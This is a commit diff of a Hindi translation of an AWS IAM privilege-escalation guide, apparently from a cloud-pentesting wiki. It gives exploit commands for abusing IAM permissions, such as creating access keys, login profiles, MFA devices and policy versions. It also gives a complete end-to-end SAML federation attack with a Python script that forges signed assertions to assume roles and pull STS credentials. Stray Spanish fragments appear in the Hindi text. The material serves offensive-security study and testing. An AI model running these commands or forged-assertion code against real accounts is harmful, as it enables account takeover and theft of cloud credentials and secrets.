Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-02-14 17:03:22 +00:00
parent c82fc6a994
commit c1b4b94e78
@@ -12,24 +12,24 @@ IAM के बारे में अधिक जानकारी के ल
### **`iam:CreatePolicyVersion`**
या IAM पॉलिसी संस्करण बनाने की क्षमता प्रदान करता है, `iam:SetDefaultPolicyVersion` permission की आवश्यकता को `--set-as-default` flag का उपयोग करके बायपास करतुए। यह कस्टम permissions परिभाषित करने में सक्षम बनाता है।
IAM पॉलिसी संस्करण बनाने की अनुमति देता है, और `--set-as-default` फ़्लैग का उपयोग करके `iam:SetDefaultPolicyVersion` अनुमति की आवश्यकता को बायपास करत। यह कस्टम अनुमतियाँ परिभाषित करने में सक्षम बनाता है।
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**प्रभाव:** किसी भी resource पर किसी भी action की अनुमति देकर सीधे privileges escalate करता है।
**प्रभाव:** यह किसी भी संसाधन पर किसी भी क्रिया की अनुमति देकर सीधे अधिकार बढ़ा देता है।
### **`iam:SetDefaultPolicyVersion`**
यह IAM policy के default संस्करण को किसी अन्य मौजूद संस्करण में बदलने की अनुमति देता है, जो संभावित रूप से privileges escalate कर सकता है अगर नए संस्करण में अधिक permissionsं।
यह IAM policy के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूद संस्करण में बदलने की अनुमति देता है, और यदि नए संस्करण में अधिक अनुमतियाँ हों तो संभावित रूप से अधिकार बढ़ सकतें।
**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**प्रभाव:**प्रत्यक्ष privilege escalation — अधिक permissions सक्षम करने से।
**प्रभाव:** अधिक permissions सक्षम करने से Indirect privilege escalation होता है
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
@@ -39,15 +39,15 @@ aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id
```bash
aws iam create-access-key --user-name <target_user>
```
**Impact:** किसी अन्य उपयोगकर्ता की विस्तारित permissions को assume करके direct privilege escalation।
**Impact:** किसी अन्य उपयोगकर्ता की विस्तारित अनुमतियों को ग्रहण करके सीधे privilege escalation।
ध्यान दें कि किसी उपयोगकर्ता के केवल 2 access keys ही बना जा सकत हैं, इसलिए यदि किसी उपयोगकर्ता के पहले से ही 2 access keys हैं तो नया access key बनाने के लिए आपको उनमें से एक को हटाने हेतु permission `iam:DeleteAccessKey` की आवश्यकता होगी:
ध्यान दें कि किसी उपयोगकर्ता के लिए केवल 2 access keys ही बना जा सकत हैं, इसलिए यदि किसी उपयोगकर्ता के पास पहले से 2 access keys हैं तो उनमें से एक को हटाने के लिए आपको `iam:DeleteAccessKey` अनुमति चाहिए ताकि आप नया एक बना सकें:
```bash
aws iam delete-access-key --uaccess-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
यदि आप एक नया virtual MFA device बना सकते हैं और से किसी अन्य user पर enable कर सकते हैं, तो आप प्रभावी रूप से उस user के लिए अपना MFA रजिस्टर कर सकते हैं और फिर उनके credentials के लिए एक MFA-backed session अनुरोध कर सकते हैं।
यदि आप एक नया virtual MFA device बना सकते हैं और से किसी अन्य user पर enable कर सकते हैं, तो आप प्रभावी रूप से उस user के लिए अपना स्वयं का MFA enroll कर सकते हैं और फिर उनके credentials के लिए एक MFA-backed session request कर सकते हैं।
**Exploit:**
```bash
@@ -58,67 +58,93 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**प्रभाव:** किसी उपयोगकर्ता के MFA नामांकन पर कब्ज़ा करके (और फिर उनकी अनुमतियों का उपयोग करके) सीधे privilege escalation हासिल किया जा सकता है
**Impact:** किसी उपयोगकर्ता के MFA नामांकन को अपने कब्जे में लेकर सीधे privilege escalation (और फिर उनकी permissions का उपयोग करके)
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS console लॉगिन के लिए पासवर्ड सेट करना भी शामिल है, जिससे सीधे privilege escalation हो सकता है।
एक login profile बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS console login के लिए पासवर्ड सेट करना शामिल है, जिससे सीधे privilege escalation हो सकता है।
**बनाने के लिए Exploit:**
**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**अपडेट के लिए Exploit:**
**Exploit अपडेट के लिए:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**प्रभाव:** सीधे privilege escalation किसी भी उपयोगकर्ता के रूप में लॉगिन करके।
**प्रभाव:** किसी भी user के रूप में लॉगन करके सीधे privilege escalation संभव
### **`iam:UpdateAccessKey`**
निष्क्रिय access key को सक्षम करने की अनुमति देता है, जो संभावित रूप से unauthorized access का कारण बन सकता है यदि attacker के पास वह disabled key हो
एक disabled access key को सक्षम करने की अनुमति देता है, जो संभावित रूप से unauthorized access का कारण बन सकता है यदि attacker के पास disabled key मौजूद है
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**प्रभाव:** सीधा privilege escalation access keys को पुनः सक्रिय करके।
**प्रभाव:** access keys को पुनः सक्रिय करके सीधे privilege escalation
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
विशिष्ट AWS सेवाओं (उदा., CodeCommit, Amazon Keyspaces) के लिए credentials बनाने या रीसेट करने की अनुमति देता है, और संबंधित user के permissions को inherit करत है।
विशिष्ट AWS सेवाओं (सबसे आम तौर पर **CodeCommit**) के लिए credentials जेनरेट करने या रीसेट करने की अनुमति देता है। ये **नहीं** AWS API keys हैं: ये किसी विशिष्ट सेवा के लिए **username/password** credentials हैं, और आप इन्हें केवल वहां उपयोग कर सकते हैं जहाँ वह सेवा इन्हें स्वीकार करत है।
**Exploit for Creation:**
**निर्माण:**
```bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
```
**Exploit रीसेट के लिए:**
सहेजें:
- `ServiceSpecificCredential.ServiceUserName`
- `ServiceSpecificCredential.ServicePassword`
**उदाहरण:**
```bash
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> नोट: सर्विस पासवर्ड में अक्सर `+`, `/` और `=` जैसे कैरेक्टर्स होते हैं। इंटरैक्टिव प्रॉम्प्ट का उपयोग आमतौर पर सबसे आसान होता है। अगर आप इसे URL में एम्बेड करते हैं, तो पहले इसे URL-encode करें।
इस बिंदु पर आप वह सब कुछ पढ़ सकते हैं जिस तक target user का access CodeCommit में है (उदा., a leaked credentials file)। अगर आप repo से **AWS access keys** प्राप्त करते हैं, तो उन keys के साथ एक नया **AWS CLI** profile कॉन्फ़िगर करें और फिर resources तक पहुँचें (उदाहरण के लिए, Secrets Manager से एक flag पढ़ें):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
**रीसेट:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**प्रभाव:** उपयोगकर्ता की सेवा अनुमतियों के भीतर प्रत्यक्ष विशेषाधिकार वृद्धि
**Impact:** दिए गए सेवा के लिए लक्षित उपयोगकर्ता की अनुमतियों में Privilege escalation (और संभावित रूप से उससे आगे भी, यदि आप उस सेवा से प्राप्त डेटा का उपयोग करके pivot करते हैं)
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
उपयोगकर्ता या समूहों पर नीतियाँ संलग्न करने की अनुमति देता है, जिससे संलग्न नीति क अनुमतियों को अपनाकर सीधे विशेषाधिकार बढ़ जाते हैं।
नीतियाँ (policies) उपयोगकर्ता या समूहों से जोड़ने की अनुमति देता है, जिससे जुड़ी नीति क अनुमतियाँ प्राप्त करके सीधे privileges escalate हो जाते हैं।
**उपयोगकर्ता के लिए Exploit:**
**Exploit for User:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**Exploit समूह के लिए:**
**Group के लिए Exploit:**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**प्रभाव:** नीति द्वारा प्रदान किए किसी भी अधिकार पर सीधे privilege escalation।
**प्रभाव:** नीति द्वारा प्रदान क किसी भी अनुमति/संसाधन तक सीधे privilege escalation।
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
roles, users, या groups में policies attach या put करने की अनुमति देता है, जिससे additional permissions देकर direct privilege escalation संभव होता है।
रोल, उपयोगकर्ता, या समूहों पर नीतियाँ अटैच या लागू करने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ देकर सीधे privilege escalation संभव हो जाता है।
**Role के लिए Exploit:**
**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
@@ -146,28 +172,28 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
]
}
```
**प्रभाव:** नीतियों के माध्यम से अनुमतियाँ जोड़कर सीधे privilege escalation।
**प्रभाव:** नीतियों के माध्यम से permissions जोड़कर सीधे privilege escalation।
### **`iam:AddUserToGroup`**
यह स्वयं को एक IAM समूह में जोड़ने की अनुमति देता है, और समूह की अनुमतियाँ विरासत में लेकर privileges escalate कर देता है।
स्वयं को एक IAM group में जोड़ने की अनुमति देता है, समूह की permissions विरासत में लेकर escalating privileges करता है।
**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**प्रभाव:**ीधा privilege escalation समूह की permissions के स्तर तक।
**प्रभाव:** समूह की permissions के स्तर तक सीधे privilege escalation
### **`iam:UpdateAssumeRolePolicy`**
यह किसी role के assume role policy document को बदलने की अनुमति देता है, जिससे उस role की assumption और उसassociated permissions सक्षम हो जात है
एक role के assume role policy document को बदलने की अनुमति देता है, जिससे उस role और उसजुड़े permissions को assume करना संभव हो जात है।
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
जहाँ पॉलिसी निम्नानुसार दिखती है, जो उपयोगकर्ता को भूमिका ग्रहण करने की अनुमति देती है:
जहाँ पॉलिसी निम्नलिखित जैसी दिखती है, जो उपयोगकर्ता को role assume करने की अनुमति देती है:
```json
{
"Version": "2012-10-17",
@@ -182,11 +208,11 @@ aws iam update-assume-role-policy --role-name <role_name> \
]
}
```
**प्रभाव:** किसी भी role की permissions को assume करके प्रत्यक्ष privilege escalation।
**प्रभाव:** किसी भी role की permissions को assume करके direct privilege escalation।
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
CodeCommit के लिए प्रमाणीकरण हेतु SSH public key अपलोड करने और MFA devices को deactivate करने की अनुमति देता है, जिससे संभावित अप्रत्यक्ष privilege escalation हो सकता है।
CodeCommit में प्रमाणीकृत करने हेतु SSH public key अपलोड करने और MFA devices को निष्क्रिय करने की अनुमति देता है, ज संभावित indirect privilege escalation का कारण बन सकता है।
**Exploit for SSH Key Upload:**
```bash
@@ -196,24 +222,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**प्रभाव:** CodeCommit access सक्षम करे या MFA protection को अक्षम करके अप्रत्यक्ष privilege escalation।
**प्रभाव:** CodeCommit access सक्षम करे या MFA सुरक्षा अक्षम करने के द्वारा Indirect privilege escalation।
### **`iam:ResyncMFADevice`**
यह एक MFA device को resynchronize करने की अनुमति देता है, जो MFA protection को हेरफेर करके संभावित रूप से अप्रत्यक्ष privilege escalation का कारण बन सकता है।
एक MFA डिवाइस को पुनः समक्रमित करने की अनुमति देता है, जो MFA सुरक्षा को छेड़छाड़ करके संभावित रूप से Indirect privilege escalation तक ले जा सकता है।
**Bash Command:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impact:** Indirect privilege escalation — MFA devices जोड़ने या बदलने से।
**प्रभाव:** MFA devices जोड़ने या बदलने से Indirect privilege escalation
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
इन permissions के साथ आप **change the XML metadata of the SAML connection** कर सकते हैं। फिर, आप **SAML federation** का दुरुपयोग करके किसी भी **role that is trusting** it के साथ **login** कर सकते हैं।
ध्यान दें कि ऐसा करने पर **legit users won't be able to login**। हालाकि, आप XML प्राप्त कर सकते हैं, इसलिए आप अपनी XML डालकर **login** कर सकते हैं और पहले वाली स्थिति को वापस configure कर सकते हैं।
ध्यान दें कि ऐसा करने पर **legit users won't be able to login**। हालाकि, आप XML प्राप्त कर सकते हैं, तो आप अपनी XML डालकर **login** कर सकते हैं और पहले वाल को वापस configure कर सकते हैं।
```bash
# List SAMLs
aws iam list-saml-providers
@@ -229,12 +255,258 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO: एक टूल जो SAML metadata जनरेट कर सके और एक निर्दिष्ट role के साथ लॉगिन कर सके
**एंड-टू-एंड हमला:**
1. SAML provider और उस पर भरोसा करने वाले role को सूचीबद्ध करें:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Forge IdP metadata + role/provider pair के लिए एक signed SAML assertion:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>विस्तार योग्य: <code>/tmp/saml_forge.py</code> सहायक (मेटाडेटा + हस्ताक्षरित assertion)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import base64
import datetime as dt
import json
import os
import subprocess
import tempfile
import uuid
from lxml import etree
from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str:
p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
key_path = os.path.join(tmpdir, "key.pem")
cert_path = os.path.join(tmpdir, "cert.pem")
_run(
[
"openssl",
"req",
"-x509",
"-newkey",
"rsa:2048",
"-keyout",
key_path,
"-out",
cert_path,
"-days",
"3650",
"-nodes",
"-subj",
"/CN=attacker-idp",
]
)
return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str:
lines: list[str] = []
for line in cert_pem.splitlines():
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
continue
line = line.strip()
if line:
lines.append(line)
return "".join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f"""<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<KeyDescriptor use="signing">
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
<X509Data>
<X509Certificate>{cert_b64}</X509Certificate>
</X509Data>
</KeyInfo>
</KeyDescriptor>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
</IDPSSODescriptor>
</EntityDescriptor>
"""
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
ns = {
"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
"saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
}
issue_instant = dt.datetime.now(dt.timezone.utc)
not_before = issue_instant - dt.timedelta(minutes=2)
not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = "_" + str(uuid.uuid4())
assertion_id = "_" + str(uuid.uuid4())
response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
response.set("ID", resp_id)
response.set("Version", "2.0")
response.set("IssueInstant", issue_instant.isoformat())
response.set("Destination", "https://signin.aws.amazon.com/saml")
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker.invalid/idp"
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")
assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
assertion.set("ID", assertion_id)
assertion.set("Version", "2.0")
assertion.set("IssueInstant", issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker.invalid/idp"
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
name_id.text = "attacker"
subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")
conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
conditions.set("NotBefore", not_before.isoformat())
conditions.set("NotOnOrAfter", not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
audience.text = "https://signin.aws.amazon.com/saml"
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
attr_role_value.text = f"{role_arn},{principal_arn}"
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
attr_session_value.text = "saml-session"
key_bytes = open(key_pem, "rb").read()
cert_bytes = open(cert_pem, "rb").read()
signer = XMLSigner(
method=methods.enveloped,
signature_algorithm="rsa-sha256",
digest_algorithm="sha256",
c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
)
signed_assertion = signer.sign(
assertion,
key=key_bytes,
cert=cert_bytes,
reference_uri=f"#{assertion_id}",
id_attribute="ID",
)
response.remove(assertion)
response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding="utf-8")
def main() -> None:
ap = argparse.ArgumentParser()
ap.add_argument("--role-arn", required=True)
ap.add_argument("--principal-arn", required=True)
args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp:
key_path, cert_path = _openssl_make_key_and_cert(tmp)
cert_pem = open(cert_path, "r", encoding="utf-8").read()
cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64)
saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
saml_b64 = base64.b64encode(saml_xml).decode("ascii")
print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))
if __name__ == "__main__":
main()
```
</details>
3. अपने IdP प्रमाणपत्र के साथ SAML provider metadata अपडेट करें, role assume करें, और लौटाए गए STS credentials का उपयोग करें:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
```
4. सफाई: पिछले metadata को पुनर्स्थापित करें:
```bash
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> SAML provider metadata को अपडेट करना विघ्नकारी है: जब तक आपका metadata लागू है, वैध SSO उपयोगकर्ता प्रमाणीकृत नहीं हो पाएँगे।
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(इस बारे में सुनिश्चित नहीं) अगर attacker के पास ये **permissions** हों तो वह एक नया **Thumbprint** जोड़ सकता है जिससे वह उन सभी roles में लॉगिन कर सके जो provider पर भरोसा करते है
(पक्का नहीं) यदि attacker के पास ये **permissions** हों तो वह एक नया **Thumbprint** जोड़कर provider पर भरोसा करने वाली सभी roles में लॉगिन कर सकता है।
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -245,7 +517,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
यह permission हमलावर को किसी user permissions boundary अपडेट करने की अनुमति देता है, जिससे वे उन actions को कर सकते हैं जो सामान्यतः उनके existing permissions द्वारा प्रतिबंधित होते हैं।
यह permission हमलावर को किसी उपयोगकर्ता permissions boundary को अपडेट करने की अनुमति देता है, जिससे वे अपने privileges escalate कर सकते हैं और उन कार्यों को अंजाम दे सकते हैं जो सामान्यतः उनके मौजूदा permissions द्वारा प्रतिबंधित होते हैं।
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -268,7 +540,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
iam:PutRolePermissionsBoundary वाले actor किसी मौजूदा role पर permissions boundary सेट कर सकता है। जोखिम तब उत्पन्न होता है जब इस permission वाला कोई व्यक्ति role की boundary बदलता है: वह गलत तरीके से operations को प्रतिबंधित कर सकता है (जिससे service disruption हो सकती है), या अगर वह permissive boundary संलग्न करता है तो प्रभावी रूप से role की क्षमताओं का विस्तार कर सकता है और escalate privileges कर सकता है।
iam:PutRolePermissionsBoundary वाले कोई व्यक्ति किसी मौजूदा role पर permissions boundary (अनुमति सीमा) सेट कर सकता है। जोखिम तब उत्पन्न होता है जब इस अनुमति वाला कोई व्यक्ति किसी role की boundary बदलता है: वह संचालन को अनुचित रूप से प्रतिबंधित कर सकता है (जिससे सेवा बाधित हो सकती है) या, यदि वह एक permissive boundary (उदार अनुमति सीमा) संलग्न करता है, तो प्रभावी रूप से role की क्षमताओं का विस्तार कर सकता है और अधिकार बढ़ा सकता है।
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \